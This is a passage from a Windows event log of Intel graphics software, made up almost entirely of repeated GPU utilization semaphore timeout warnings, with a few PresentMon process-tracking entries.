timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.963\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.484\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.465\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.673\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.888\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:34.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:34.325\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:34.986\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:35.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:35.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:35.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.068\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.277\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.041\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.262\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.699\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.918\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.123\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.563\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.780\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.216\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.660\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.100\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.319\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.754\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.180\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.944\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.167\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.935\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:43.265\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:43.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:43.708\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:44.357\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:44.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.118\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.338\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.560\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.003\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.655\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.873\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.092\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.525\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.175\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.922\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:49.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:49.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:49.912\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:50.125\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:50.342\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:50.347\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:03.585\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:03.588\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:03.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.023\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.240\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.679\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:05.119\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:05.334\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:05.880\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.623\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:07.287\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:07.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:08.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:08.598\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:08.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:09.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:09.578\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:09.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:10.443\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:10.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:10.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:11.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:11.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:11.875\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.313\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.739\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:13.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:13.501\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:13.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.147\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.800\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 